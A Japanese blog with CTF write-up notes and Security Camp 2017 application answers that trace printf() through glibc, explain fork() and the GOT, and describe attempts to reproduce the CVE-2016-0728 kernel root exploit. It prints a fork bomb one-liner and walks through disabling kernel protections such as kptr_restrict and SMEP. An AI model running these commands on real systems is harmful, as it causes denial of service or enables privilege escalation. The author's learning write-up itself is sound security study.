左下のルーチンを"biscu”という回数分繰り返すので,このルーチンの前あたりにブレークポイントを張って動的解析していく.

f:id:ywkw1717:20170625185453p:plain

“biscu"という文字列を,先頭から順に1文字ずつ取り出して_shift_charに渡すという処理が計5回行われる.

call _shift_char

に対してステップインして中を見ていく.

f:id:ywkw1717:20170625185614p:plain

最初に渡されるのは"b".

それを"abcdefg…..“というスタックに積んであるものに対して"b"が出てくるまで1文字ずつシフト.

その後,シフトした回数+1というか↑のルーチンを実行した回数分,"abcde…“という文字列を先頭から左にシフト.(正確に言うと,スタックにある"abcde…."のアドレスに回数分を加算)

すると,"b"の場合は"c",次の"i"は"h",次の"s"は"o"...となっていって最終的に"choux"となる.

f:id:ywkw1717:20170625190148p:plain

よって,biscuit3の答えと合わせてTMCTF{cream_choux}でsubmitしてみるも通らない.

cream chouxで調べてみると,シュークリームが英語で"choux cream"らしく,(英語力の無さ)

TMCTF{choux_cream}にしたらいけた.

取り組んだが解けなかった問題

Analysis-Offensive100

$ file Forensic_Encyption
Forensic_Encyption: MS-DOS executable, MZ for MS-DOS

これは最初,binwalkで取り出して3つのzipファイルに対してゴニョゴニョやってた.今年のPlaid CTF予選で出たZipperみたいにzipのバイナリを書き換えて修正していくものかなと思ってたけど,file_3がどうも見当たらない.

渡されたファイルのバイナリを見てみるとわかった.

00000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79  MZ...........J.y
00000010: 17c2 2a34 0000 8879 0000 0600 0000 6669  ..*4...y......fi
00000020: 6c65 5f33 d45a 0958 1357 bb3e 618d c822  le_3.Z.X.W.>a.."
.................

先頭のシグネチャがMZであることからMS-DOSかと思うが,file_3という文字列が見える.

これは実はzipのlocal file headerであり,もともとのシグネチャ0x504B0304の504Bを4d5aに書き換えられたものだった.

よって,そこを修正して解凍するとうまくいく.

出てきたファイルは3つ,jpg,passwordつきzip,pcapファイルがそれぞれ1つずつ.

ここからjpgをstringsしたりstegsolveで見てみたりしたけど進捗なし.

pcapファイルのほうもわからず途方に暮れていると,チームメンバーのkobadからslackが飛んできて,passwordつきのzipは解凍できたけどpcapファイルが見つからないとのこと.

そこで,自分がやった過程を共有して,あとはkobadに任せた.(プロなのですぐ解いてた.エニグマだったらしい)

rev200

RFIDの問題.

渡されたテキストファイル.

$ cat rawbits.txt
Using Clock:64, Invert:0, Bits Found:625
ASK/Manchester - Clock: 64 - Decoded bitstream:
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101

検索したら16進数に戻していたりしたので,適当にスクリプト書いて

DemodBuffer:  EFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDD

とかやってたぐらい.

全く知らない分野で厳しかった.

IoT/OSINT/SCADA100

これは,whoisで渡されたドメインを調べて,電話番号がわかって,同じ電話番号で登録されているドメインを見つけて,そこに書かれているメールアドレスを調べて....とかやってたぐらい.

まとめ

Google CTFよりかは難しくなかった.

rev力~~~~

セキュキャン2017 応募用紙

はじめに

合格を頂くことができました.年齢的に今年が最初で最後の応募だったので,応募開始してから死ぬ気で埋めていた甲斐がありました.応募用紙に関しては,落ちても受かっても晒そうと思っていたので晒します.

感想として,学ぶことがとても多かったと思います.GWに実家に帰省してからも問題に取り組んでいて,大学の休み時間や家に帰ってきてからまた取り組んだり,とにかく空き時間はほとんど費やしていた気がします.選択問題A-6で1週間使ってなんとか実装し終わったと思ったら,選択問題A-5が激ムズで問題変えようか悩んだりと,そんな感じでした.

少しでも,来年以降応募する人のためになれば幸いです.

(共通問題2とかイキリまくってて恥ずかしいので共通問題は省略します)

共通問題1

高校生の時に作った自作PCやバイト先で書いたプログラム,個人で制作したものなどを10個書きました.どうして作りたいと思ったか,なぜ作ることになったか,という動機と背景をしっかり書きました.

共通問題2

1つ目は自分の無知さやプログラミング力の無さを実感したこと,2つ目はCTFで全く問題が解けなかったことを書きました.アドバイスは本当にその人に向けて書くように文体も変えて書きました.

共通問題3

受講したい講義は7個ほど挙げました.それぞれの講義で「どうして受講したいのか」と「なにを学びたいのか」を書きました. セキュリティキャンプでやりたいこととしては,「今後何をやっていきたいかを考える為のきっかけを作りたい」ということと「同じ志を持った人達と交流を深めたい」ことを書きました.

共通問題全体で2万5千字ぐらいでした.

選択問題A-4

まずは、printf()関数についてです。一言で言うならば、問題文にもある通り「数値や文字列を表示する関数」ですが、その表示する過程にどのようなことをやっているのか、わからなかったので調べました。まず以下のようなプログラムを書いてみました。

#include <stdio.h>

int main(){
printf(“hoge\n”);

return 0;
}

これは、"hoge"という文字列を表示する最もシンプルなプログラムです。このプログラムの処理をgdbというデバッガで追いかけてみることにしました。私は普段、“peda"というgdbの機能をより高めてくれるツールが導入されたgdbを使っているので、以下の実行例はpedaが導入されたgdbで行っています。また、環境はUbuntu16.04の64bitです。64bitだと、レジスタが拡張されます。今回の目的はprintf()関数について調べることなので、もっとわかりやすい32bitプログラムで調べるために”-m32"というオプションを付けてgccコンパイルしました。startというmain関数にブレークポイントをしかけてから開始することができるコマンドを実行すると、

0x8048419 <main+14>:   sub esp,0x4

という行で止まりました。これは、ESPというスタックポインタであるレジスタから、0x4を引き算しているという命令ですが、これから使うスタックの領域を確保するためにこのようなことを行います。スタックは下方伸長なので、アドレスが低位に向かって伸びるため、足し算ではなく引き算を行います。スタックポインタはスタックの先頭を現しています。niというステップアウト実行できるコマンドを行ったところ、

0x804841c <main+17>:   sub esp,0xc

また、スタックから0xcだけ領域を確保しています。さらに進めます。

0x804841f <main+20>:   push 0x80484c0

0x80484c0というアドレスをスタックにpushしています。実行するとESPの値が以下のようになりました。

ESP: 0xffffbf50 --> 0x80484c0 (“hoge”)

0x80484c0という場所に"hoge"という文字列は格納されているのかなと思い、

x/1wx 0x80484c0

という風にして、0x80484c0のアドレスから4バイトで1個のメモリを16進数値として調べてみると、

0x80484c0:   0x65676f68

このように、確かに0x80484c0の場所に0x65676f68という値が格納されていました。ASCIIコードで65は"e"、67は"g"、6fは"o"、68は"h"であり、逆順に格納されているのはリトルエンディアンという方式を使っているからです。再びniで次の命令である、

0x8048424 <main+25>:   call 0x80482e0 puts@plt

を実行してみると、"hoge"という文字列が表示されました。

ここである疑問が湧きました。ソースコードではprintf()関数を使っていたのに、なぜputs()関数に変わったのかということです。すると、このサイト( http://0xcc.net/blog/archives/000065.html )で答えを見つけることができました。どうやら、文字列の末尾が"\n"で終わり、%d などのフォーマット指定がないときは最適化が行われ、puts()関数が使われるみたいです。今回使ったソースコードでは、printf(“hoge\n”);という使い方をしており、まさに最適化に含まれる対象だったので、puts()関数に変わったということがわかり、勉強になりました。しかし、gccで"-O0"というオプションをつければ、最適化は無効化されるはずが、これでコンパイルしてもputs()関数に変わってしまったので、オプションより強い制約が内部でかかっているのかなと考察しました。printf()関数を調べるために、改行文字を省いたプログラムを再度コンパイルし、gdbで実行しました。すると、今度は最適化に含まれる対象ではなかったようで、printf()関数が呼ばれていました。このprintf()関数の中に入り、さらに処理を追っていこうと思います。今までステップアウト実行であるniのみで進めてきましたが、ステップインするsiというコマンドを使って、実際に関数の中に入っていきます。すると、

0x80482e0 printf@plt:    jmp DWORD PTR ds:0x804a00c

という場所に飛びました。なぜこのpltという領域に飛ぶのかを説明するために、静的リンクと動的リンクの話をします。

プログラムがコンパイラによってコンパイルされるとき、リンカによって静的リンクか動的リンクのどちらかのリンク方式により、共有ライブラリがリンクされます。静的リンクの場合は、リンク時に実行ファイルに共有ライブラリをリンクしてしまい、実行ファイル内に内蔵してしまう形式です。なので、ファイルサイズがその分大きくなります。対して動的リンクの場合は、リンク時に実行ファイルに直接共有ライブラリをリンクするのではなく、どれを使うかという情報のみをリンクさせます。なので、後でシンボル解決と呼ばれる行為を行う必要があります。起動時には、動的リンクより静的リンクのほうが時間がかかってしまいますが、それぞれにメリットがあります。この実行ファイルをLinuxのfileコマンドを使って調べると、“dynamically linked"の文字列が確認できるので、動的リンクだということがわかります。なので、動的リンクの話を続けます。動的リンクでは、共有ライブラリの中にある使いたいものをPLT領域を経由して呼び出します。なぜそのようなことを行うかというと、動的リンクの場合共有ライブラリは実行時にリンクされます。なので、共有ライブラリのアドレスを調べてシンボル解決する必要があり、そのための領域としてPLT領域とGOT領域が存在します。まずはPLT領域ですが、シンボル解決をするために、さらにPLTからGOT領域へ飛びます。PLT領域を"objdump -d -M intel -j .plt filename"で逆アセンブルしてみます。私はintel形式のほうが好きなので、”-M intel"オプションをつけています。

080482e0 puts@plt:
80482e0: jmp DWORD PTR ds:0x804a00c
…

0x804a00cという場所には以下のように、

x/1wx 0x804a00c
0x804a00c:  0x080482e6

0x80482e6が入っているので、これはそのまま次の命令に進み、0x0をスタックにpushし、最終的に0x80482d0に飛ぶようになっています。

080482d0 printf@plt-0x10:
80482d0: push DWORD PTR ds:0x804a004
80482d6: jmp DWORD PTR ds:0x804a008
…

0x8048ed0に飛んだ後は、最終的に2行目のjmp命令で、0x804a008というアドレスに飛びますが、このアドレスが指している場所がGOT領域です。なぜわかったのかというと、"readelf -S filename"でセクションヘッダがわかるのですが、

[24] .got.plt PROGBITS 0804a000 001000 000014 04 WA 0 0 4

その結果の内の.got.pltの開始アドレスが0x0804a000になっていてこのセクションに含まれていることがわかるからです。GOT領域では、プロセスごとに独立している共有ライブラリへの参照を保持します。関数呼び出しを行う際に、呼び出す本体へのポインタを別のところで保持しておき、ポインタ経由で本体である関数を呼び出すということをやっています。このように、PLT→GOT→共有ライブラリの順番で処理しています。2段階になっているのは、シンボル解決のためであり、そのためにPLT領域で準備をしています。いつシンボル解決を行うかですが、関数が最初に呼ばれた時に行います。最初、GOTにはシンボル解決を行う為の処理のアドレスが入っており、それが完了すると、2回目以降からは本体を直接参照するようになります。これは遅延リンクと呼ばれ、実際に使わない関数はシンボル解決を行わないので、起動時間を短縮できます。

話が少しそれますが、GOT領域を利用した攻撃手法にGOT Overwriteというものがあります。その名の通り、GOT領域を上書きする攻撃です。最近のコンパイラには、RELROというセキュリティ機構があります。これはRELocation ReadOnlyの略で、マッピングされるデータのどの部分にReadOnly属性を付けるかを決定します。ReadOnly属性を付けることで、悪意のあるコードが注入されたときに、値を書き換えられて制御を奪われてしまう行為を防ぐことができます。プログラム起動時に上で述べたシンボル解決をしてしまい、GOT領域を読み込み専用にしてしまうFull RELRO以外のNo RELRO、Partial RELROの場合はGOT Overwriteを行うことができます。書き込み可能になっているGOT領域を書式文字列攻撃で書き換えると、そのコードが実行された時に、書き換えた値へと制御を移すことが可能です。上手くやればシェルまで奪えてしまうので、起動時間が遅くなってしまうというデメリットがありますが、セキュリティリスクを減らすためにもFull RELROにしておくほうがいいかと思います。ここら辺の知見はksnctfというサイトのVillagerAという問題を解いた時に得ました。

話を戻します。動的リンクの場合はこのようにPLT領域やGOT領域が絡んでくるので、純粋にprintf()関数について調べたい時には邪魔だと思うので、リンク方式を静的リンクに変えます。"-static"オプションを付けて、再度コンパイルしてgdbで解析します。printf()が呼ばれている場所でステップインすると、以下の場所に飛びました。

0x804ebe0 <printf>:    sub esp,0xc

どうやらprintf()の内部へと入れたようです。さらにステップ実行していくと、

0x804ebf5 <printf+21>: call 0x807e190 <vfprintf>

vfprintf()とはなんなのか、C言語の関数だと思うのでとりあえずmanコマンドで調べてみました。

The functions vprintf(), vfprintf(), … are equivalent to the functions printf(), fprintf(), …

という記述が見つかり、他の説明も読む限り大体は同じで引数の渡し方とかが違うのかなと思いました。vfprintf()をさらに追ってみます。文字列を出力している実態のようなものがないか、ひたすらステップ実行していったのですが、実行されてそうなところが見つからないので、おかしいなと思い、最初に戻りprintf()関数をステップインせずに実行してみました。しかし"hoge"という文字列が表示されません。使っているpedaのバグかと思いましたが.gdbinitを書き換えてgdb単体で実行してみるもやはりダメでした。これはおかしいなと思いながら、最後まで実行してみると、exitが呼ばれた時と同時に"hoge"という文字列は表示されていました。改行を使っていなく4文字しか表示していないため、表示の際のバグが起きているのかと思い、出力する文字列を"hoge\nfuga"としてみました。すると、printf()関数を実行したときに"hoge"、exitしたときに"fuga"という風に出力されてしまいました。少し気持ち悪いですが、その場で表示されないといつ表示されたかがわからないので、"hoge\nfuga"という文字列で再度コンパイルして続けます。vfprintf()まで進めます。ステップ実行していくと、

0x807e23c <vfprintf+172>:  call DWORD PTR [eax+0x1c]

この場所で"hoge"が表示されました。この関数にステップインして続けます。すると_IO_new_file_xsputn()という関数に入りました。やはりcall命令が怪しいので、そこに注目して続けます。

0x805211c <_IO_new_file_xsputn+204>:   call 0x8053810 <_IO_default_xsputn>

で"hoge"が表示されたのでまたステップインします。ループしている箇所があり、4回ループして"hoge\nfuga"の内の改行文字"\n"を引数に、

0x805387c <_IO_default_xsputn+108>:    call DWORD PTR [eax+0xc]

このcall文を実行したときに"hoge"が出力されました。もう一度詳しく追ってみると、改行文字を引数に渡した場合のみ、

0x8052b5e <_IO_new_file_overflow+190>: call 0x80523e0 <_IO_new_do_write>

という関数がルーチンの中に現れました。これはcallした先で6回ほど比較して条件に合えばジャンプということをやっており、最後の比較である

0x8052aef <_IO_new_file_overflow+79>: cmp esi,0xa
0x8052af2 <_IO_new_file_overflow+82>: je 0x8052b50 <_IO_new_file_overflow+176>

この部分で、0xaという改行文字のASCIIコードと比較して等しければ0x8052b50にジャンプするということをやっている為です。恐らく、それまでの文字列をどこかバッファのようなところに保存しておき、改行が現れたら一気に表示するということをやっているんだろうと考えました。これによって、先に述べた謎の現象も少し理解することができました。改行文字が現れていないため、"fuga"という文字列は表示されることがなくexitの後に表示されているのだと思います。

では、改行文字と比較するのではなく"hoge\nfuga"の内の"a"と比較すれば、“a"は最後にしか現れていないので"hoge\fuga"が一気に表示できるのではないかと考えました。よって、バイナリを書き換えてみます。objdumpで逆アセンブルした結果を見て、上の比較しているところの前後の機械語などを調べます。そして、vimのバイナリモードを使い、その機械語にマッチする部分を探します。”%!xxd"で16進ダンプすると、2735行目の末尾から2736行目の頭にかけて、見つけることができました。0xaaefから0xaaf1の3バイトです。0xaaf1の"0a"を"61"に書き換えます。"%!xxd -r"で保存し、再度gdbで見てみると、

0x8052aef <_IO_new_file_overflow+79>: cmp esi,0x61

となっており、書き換えることができました。そして、"hoge\nfuga"という文字列の内の"a"を渡したときにジャンプが成功し、"hoge\nfuga"を一気に表示することができました。では、表示している関数に対してさらにステップインしてみます。この先4、5回ステップインするので、遷移した先だけ書きます。

0x80523f8 <_IO_new_do_write+24>: call 0x8050cd0 <new_do_write>

0x8050cfc <new_do_write+44>:  call DWORD PTR [eax+0x3c]

0x8051b5b <_IO_new_file_write+91>:    call 0x806cfc0 <write>

0x806cfdc <__write_nocancel+18>:  call DWORD PTR ds:0x80ea9f

ここでようやく終わりを迎えました。最終的にどうやって文字列が出力されていたかというと、

0xf7ffcc85 <__kernel_vsyscall+5>:  sysenter

このように、sysenterという命令によってシステムコールが呼ばれていたことがわかりました。sysenterの下に、int 0x80というこれもまたシステムコールを呼ぶ命令ですが、これは実行されていませんでした。

gdbではwhereコマンドを使えば関数の呼び出し手順を調べることができます。

gdb-peda$ where
#0 0xf7ffcc89 in __kernel_vsyscall ()
#1 0x0806cfe2 in __write_nocancel ()
#2 0x08051b60 in _IO_new_file_write ()
#3 0x08050cff in new_do_write ()
#4 0x080523fd in _IO_new_do_write ()
#5 0x08052b63 in _IO_new_file_overflow ()
#6 0x0805387f in _IO_default_xsputn ()
#7 0x08052121 in _IO_new_file_xsputn ()
#8 0x0807e23f in vfprintf ()
#9 0x0804ebfa in printf ()
#10 0x0804889a in main ()
#11 0x08048ad1 in generic_start_main ()
#12 0x08048ccd in __libc_start_main ()
#13 0x08048757 in _start ()

printf()関数のまとめです。

printf()関数はvfprintf()や他の関数を実行していき、writeシステムコールも使いながら、最終的にsysenter等のシステムコールを使い、文字列を表示する関数です。

次はfork()についてです。 私はまず、fork()をほとんど使ったことがなかったので、manで調べました。NAMEが"fork - create a child process"となっている通り、子プロセスを作るものだとわかります。SYNOPSISに、

#include <unistd.h>

pid_t fork(void);

このように書かれており、"pid_t"という型で宣言されているのだとわかりました。"pid_t"は構造体でどこかに宣言されているのだろうかと思い、"unistd.h"ファイルに答えがあるのではないかと思い、"find / -type f |grep unistd.h"として、探しました。環境はprintf()の時と同じく、ubuntu16.04の64bitです。大量にヒットしましたが、本体が書いてありそうな

/usr/include/unistd.h

このファイルを見てみました。すると、263行目に書いてありました。

typedef __pid_t pid_t;

__pid_tをtypedefしたものであるのはわかったのですが、__pid_tの正体がわからないのでさらに調べます。"find ./ -type f |xargs grep ‘__pid_t’"を/usr/include内で実行して調べると、これまた大量にヒットしましたが、

./x86_64-linux-gnu/bits/types.h

に、それっぽいものを見つけました。

__STD_TYPE __PID_T_TYPE __pid_t; /* Type of process identifications. */

__STD_TYPEは上のほうで

# define __STD_TYPE __extension__ typedef

このようにマクロで定義されていました。__extension__を使う理由は、この定義の上に"C89でlonglongのような標準外の型を使うから"と書かれていました。__PID_T_TYPEを調べる必要があるので、さらに続けます。"find ./ -type f |xargs grep ‘PID_T_TYPE’"で調べると、

./x86_64-linux-gnu/bits/typesizes.h

このファイルがヒットしたので見てみると、

#define __PID_T_TYPE __S32_TYPE

これもマクロで定義されていたので、"__S32_TYPE"を調べます。'S32_TYPE’をgrepするようにしてみると、先ほど見たtypes.hがヒットしました。もう一度見てみると、

#define  __S32_TYPE int

ありました。結局"pid_t"という型はint型だとわかりました。あとはfork()の戻り値について知りたいので、またmanの結果を眺めます。RETURN VALUEに書いてありました。

どうやら、成功すると子プロセスのPIDが親プロセスに返されて、0が子プロセスに返されるみたいです。失敗すると-1が親プロセスに返されて、子プロセスは作られずに適切なerrornoがセットされるとあります。実際に下のようなコードを書いて実行してみました。

https://gist.github.com/ywkw1717/16332f539dc05d232657b4b2295245d4

pidの戻り値によって分岐するようにして、それぞれでpidを出力するようにしました。実行結果は

parent
23802
child
0

このようになりました。プロセスの複製に成功して子プロセスのPIDが親プロセスに返されてparentが表示され、その後0が子プロセスに返されて今度はchildが表示される、ということでしょうか。また、fork()と聞いたとき、forkbombが真っ先に思い浮かびました。

:(){:|:&};:

これがforkbombです。:という名前の、自分自身を2回起動してバックグラウンドで実行するという関数になっています。最後の:が実行を意味しています。実行すると、プロセスが無限に増殖するというDoS攻撃の一つです。仮想マシンで実行したとき

:: fork failed: resource temporarily unavailable

という表示が大量に出力され、ほとんどなにもできなくなってしまいました。どうすれば防げるのだろうと考えましたが、プログラムごとに生成できるプロセスに制限をかけてしまえば問題ないのかなと思いました。

fork()が実行される過程をgdbで追いかけようと思ったのですが、printf()に文字数を使いすぎてしまったので、これで終わりにします。

選択問題A-5

個人的にこの問題が一番難しかったです。試行錯誤しましたがエクスプロイトが書けておらず、問題の完答ができていないので、できたところまでを書きます。

まずは問題文にある通り、カーネルのバージョンを3.8~4.4のものを用意することから始めました。手元のUbuntu16.04は4.8.0-52-genericだったので、もっと古いのを用意する必要がありました。Ubuntuで探してみたところ、15.10であるWily Werewolfのカーネルのバージョンが4.2だったので、これで試してみました。 与えられたソースコードでまず気になったのは、keyutils.hというヘッダファイルです。私は、テキストエディタは普段Vimを使っていて、与えられたソースコードを保存してみると、keyutils.hの行がシンタックスチェックに引っかかりました。そこでkeyutils.hを探すことから始めました。Ubuntuでは”apt-cache search ファイル名”で、そのファイルがどのパッケージに入っているのか調べることができるので、探してみました。以下のようになりました。

keyutils - Linux Key Management Utilities
keyutils-dbg - Linux Key Management Utilities (debug)
libkeyutils-dev - Linux Key Management Utilities (development)
libkeyutils1 - Linux Key Management Utilities (library)

下の2行のどちらかだと思うので、libkeyutils1をインストールしてみました。ですが既に最新バージョンだと言われてしまったので、あとはlibkeyutils-devしかないだろうと思いインストールしてみたところ、シンタックスチェックは通りました。ですがgccコンパイルしてみたところ、`keyctl’ に対する定義されていない参照です、とエラーを吐かれました。lオプションで必要なライブラリをリンクする必要があると思い、-lkeyutilsを付けて実行してみたところコンパイルできました。

次に、ソースコードを読んでみました。最初にint型でカウンタ変数iを、key_serial_t型でserialを、それぞれ宣言しています。key_serial_tは、/usr/include/keyutils.hを見たところ、int32_tのtypedefになっていました。int32_tは4バイトです。その後、serialにkeyctl(KEYCTL_JOIN_SESSION_KEYRING, “leaked-keyring”)を代入しています。keyctlがわからなかったので、そこから調べました。検索するとIBMのサイト( https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html )がTopに出てきて、Linuxの鍵保存サービスについて詳細に解説されていたので、まずはLinuxのkeyringという機構について理解することから始めました。暗号化方式、認証トークン、ドメイン間のユーザー・マッピングなどのセキュリティー関連項目などの認証データをLinuxカーネルにキャッシュすることで、様々な利便性の向上を図ろうというものです。

この問題の脆弱性はCVE-2016-0728として登録されており、当時大きな問題になっていたことがわかりました。keyctlにKEYCTL_JOIN_SESSION_KEYRINGを渡すと、セッション鍵リングを新しいセッション鍵リングで置き換える関数である、join_session_keyringを呼ぶことができます。join_session_keyringは、process_keys.cに書かれており、脆弱性はこの関数に存在します。カーネルのバージョンが4.4以降なら修正されているはずなので、4.5とのdiffを取ってみました。すると、797行目の

key_put(keyring);

という行だけが違いました。つまり、この行を追加するだけで脆弱性に対応できているということです。key_putは鍵を開放する関数なので、鍵の解放を怠っていたせいで脆弱性が生まれてしまったということでした。このkey_put(keyring)が追加されている部分は

else if (keyring == new->session_keyring) {
key_put(keyring);
ret = 0;
goto error2;
}

このようになっています。keyringにはfind_keyring_by_name(name, false)の結果が代入されています。find_keyring_by_nameはkeyring.cというファイルに定義されており、nameに該当するものがあればそのkeyringへのポインタを返し、無ければ-ENOKEYを返します。一方、newにはprepare_creds()の結果が代入されています。prepare_credsは、”修正するために新たなcredentialsのセットを準備する”役割を担っており、commit_creds()と対で使用されています。処理の中には、key_get(new->session_keyring)という部分があります。key_getは真ならば__key_get(key)を返し、偽ならばkeyを返します。__key_get(key)では、渡されたkeyのusageをインクリメントするように

atomic_int(&key->usage);
return key;

という処理になっており、ここでusageの値がインクリメントされていることがわかります。この処理に行き着く条件というのはkeyringとnew->session_keyringが等しい時です。それは、プロセスが現在のセッション鍵リングを全く同じものに置き換えようとする時を指します。つまり、脆弱性の修正のために追加されたkey_put(keyring)が存在しなかった場合、キーリングオブジェクトへの参照が残っているので、usageの値がoverflowしてしまう危険性があります。実際に構造体keyが定義されているkey.hを見てみると

struct key {
atomic_t usage; /* number of references */

このように、atomic_t型で宣言されています。atomic_tはtype.hで宣言されていて、int型の要素を一つ持つだけなので、atomic_tはint型と同じサイズであると言えるはずです。この脆弱性を悪用するためには、ここ( http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ )で解説されている通りに、まずusageを0x100000000まで増加させ、0にする必要があります。

この脆弱性を突いてroot権限を奪うPoCが公開されていたので、まずはそれを動かしてみて挙動を把握し、それから自分でプログラムを書いてみるという順序で進めることにしました。検証した環境は、冒頭で記述したUbuntu15.10です。実行してみたところ、いつまで経っても終わる気配がありませんでした。Intel Core i5-7200U のノートPC上でVirtualboxを起動させ、そこで実行させていました。どうしようかと思いましたが、プログラムの処理を並列化することで高速化できないかと考えた結果、openmpというものを使うことにしました。プログラムに数行加えるだけだったので、とても簡単に実現することができました。本来であれば家に余っている残り2台のノートPCを合わせて、グリッドコンピューティング的なことができないかと考えていたのですが、少し設定をやってみて詰まるところがあり、ここで時間を取られるのも嫌だなと思ったのでデスクトップの自作PCを使うことにしました。こちらはコア数が4つであり、高速化が期待できそうだったので再びUbuntu15.10で環境構築を行い、実行してみました。すると、20分ほどでシェルを起動するところまではいったのですが、root権限が取れていませんでした。並列化はうまくいっているようでしたが、肝心のroot権限が奪えていなかったので、もう少し調べてみました。ここ( http://cyseclabs.com/blog/cve-2016-0728-poc-not-working )で解説されている内容を読んでみると、セキュリティ機構であるSMEP/SMAPが原因か、prepare_kernel_cred()とcommit_creds()のアドレスが正しくないことが原因だとありました。私はPoCの先頭で定義されているCOMMIT_CREDS_ADDRとPREPARE_KERNEL_CREDS_ADDRを見落としており、自分の環境に合わせて定義する必要がありました。これらの情報は/proc/kallsymsで見ることができますが、KADRというセキュリティ機構が有効になっていると、アドレスが全て0で隠されてしまいます。これを

$ sudo sysctl -w kernel.kptr_restrict=0

で無効化します。そして/proc/kallsymsを見ると、しっかりとアドレスが表示されており、その情報をプログラムに記載しました。ここら辺は、ももいろテクノロジーさんの記事( http://inaz2.hatenablog.com/entry/2015/03/21/175433 )を参考にしました。これで権限昇格を行えるかなと思って実行してみましたが、またしてもrootは取れていませんでした。そこで、もう一つの原因だと考えられるSMEP/SMAPについて調べてみました。るくすさんのスライド( http://sssslide.com/speakerdeck.com/rkx1209/kanerukong-jian-karafalsesekiyuritei )で紹介されていたので参考にしました。SMEP(Supervisor Mode Execution Prevention)が、カーネルモードの時はユーザ空間のコードを実行できないようにするもので、SMAP(Supervisor Mode Access Prevention)が、カーネルモードの時はユーザ空間のデータにアクセスできないようにするものだったので、今回はSMEPが原因だと考えました。そこで、SMEPを無効化できれば攻撃は成功するのではないかと思い、まずは自分の環境でSMEPが有効なのかどうかを調べてみることにしました。

/proc/cpuinfoのflagsにsmepが現れていればsmepが有効だと、上述のももいろテクノロジーさんの記事にあったので、smepをgrepしてみました。ですが、有効ではありませんでした。当然有効化されているものだと思っていたので、どういうことかわからず、Windows側でも調べてみました。Coreinfo.exeというものを使って調べてみたところ、こちらでは有効になっていました。ホストOSでは有効化されているが仮想マシン上だと無効化されているのか、そもそも/proc/cpuinfoの情報が誤りで実は有効化されているのか、2つのパターンが考えられました。そこで、別の環境でも調べてみようと思い、Ubuntu14.04 LTSを用意しました。ですが、問題で与えられたプログラムを実行することで/proc/keysにleaked-keyringという名前で100個の参照をもつキーリングオブジェクトの情報が表示されるはずが、そもそも/proc/keysが存在しないと言われてしまいました。/proc/key-usersなどは存在するのに、なぜだろうと思い調べたところ、Ubuntuのバグだという情報( https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1344405 )がありました。/boot/config-3.13.0-24-genericを見てみると、確かにCONFIG_KEYS_DEBUG_PROC_KEYが有効になっていませんでした。カーネルをリビルトする必要があるなと思い、この問題を修正すると同時に、SMEPも明示的に無効化できれば何か進捗があるのではないかと思い、ここ( https://forums.ubuntulinux.jp/viewtopic.php?id=17851 )を参考に進めました。/boot/config-3.13.0-24-genericにおいて、

CONFIG_KEYS_DEBUG_PROC_KEY=y
CONFIG_SECURITY_CAPABILITIES=y

をそれぞれ追加してから、念のためCONFIG_X86_SMAP=yを削除。そして、

$ sudo apt-get install kernel-package libncurses5-dev

で必要なパッケージをインストールして

$ sudo apt-get install linux-source-3.13.0

カーネルのソースをインストールします。次に、ビルドする段階でSMEPを無効化します。念のためSMAPも無効化しました。linux-source-3.13.0/arch/x86/kernel/cpu/common.cの883行目のsetup_smepと884行目のsetup_smapをそれぞれコメントアウトlinux-source-3.13.0/arch/x86/kernel/cpu/common.cの270行目と271行目もコメントアウト

// if (cpu_has(c, X86_FEATURE_SMEP))
// set_in_cr4(X86_CR4_SMEP)
$ sudo cp /boot/config-3.13.0-63-generic .config
$ sudo make oldconfig

.configファイルを作ってから、makeします。ここでいろいろ聞かれますがsmapについて聞かれたとき以外は全てEnterしました。次は

$ sudo make menuconfig

でパラメータを設定します。Security optionsで、"Enable the /proc/keys file by which keys may be viewed"にYを入力して*にします。最後に

$ sudo make-kpkg clean
$ sudo make-kpkg --initrd kernel_image

カーネルのリビルドを行います。

2時間くらいかかりましたが無事終わったので、.debをインストールして再起動。

$ sudo dpkg -i linux-image-3.13.11-ckt39_3.13.11-ckt39-10.00.Custom_i386.deb
$ sudo reboot

uname -rでカーネルのバージョンを調べてみると、3.13.11-ckt39になっていました。肝心の/proc/keysですが、ちゃんと存在していました。しかし、与えられたプログラムを実行してみても/proc/keysに情報が追加されないので、まさかパッチが当たったものではないかと思いprocess_keys.hを探してみると、/usr/src/linux-source-3.13.0/security/keys/process_keys.cにjoin_session_keyring関数があり、脆弱性が修正された印であるkey_put(keyring)が存在していました。その行をコメントアウトしてから、再びカーネルビルドします。無事終了したので、PoCを動かしてみると

keyctl: Disk quota exceeded

という文章が大量に出力され、クラッシュしてしまいました。再起動してもう1度実行してみるとシェルを起動するところまでいきましたが、肝心のroot権限が取れていません。まだSMEPを無効化する手段はあったのでそちらも試します。/usr/src/linux-source-3.13.0/Documentation/kernel-arameters.txtの2043行目にnosmepがあるので、これを追加してみました。起動する時のUbuntuのロゴが出てくる段階でShiftキーを押します。eで編集できるので、linuxという行を選択してnosmep=1を追加。再び実行してみるも、keyctl: Disk quota exceededでクラッシュしました。指定の仕方が間違っているのかなと、nosmepという風に変えて追加しましたが、これでもrootになることはできませんでした。

他にわかったことが1つあり、Ubuntu15.10で作業していた時のことです。PoCの実行を開始するとフル稼働するため画面が固まって動かなくなるので、ネットワークの設定を変えて、仮想マシンにプライベートIPアドレスを割り振ってsshで接続できるようにしました。終了するのを待っていたのですが、CPU使用率的に実行が完了しているはずなのに、画面が固まってしまったときがありました。sshしてからtopコマンドで見てみると、systemd-journalctlというプロセスがCPU使用率100%になっていました。journalctlは、/var/logにjournalというディレクトリを作っておくことで、ログデータが消えずに保存することができるので、それで確認してみたところ以下のようなログがあり、

May 27 01:10:43 yyy-VirtualBox kernel: BUG: unable to handle kernel NULL pointer dereference at 0000000000000009
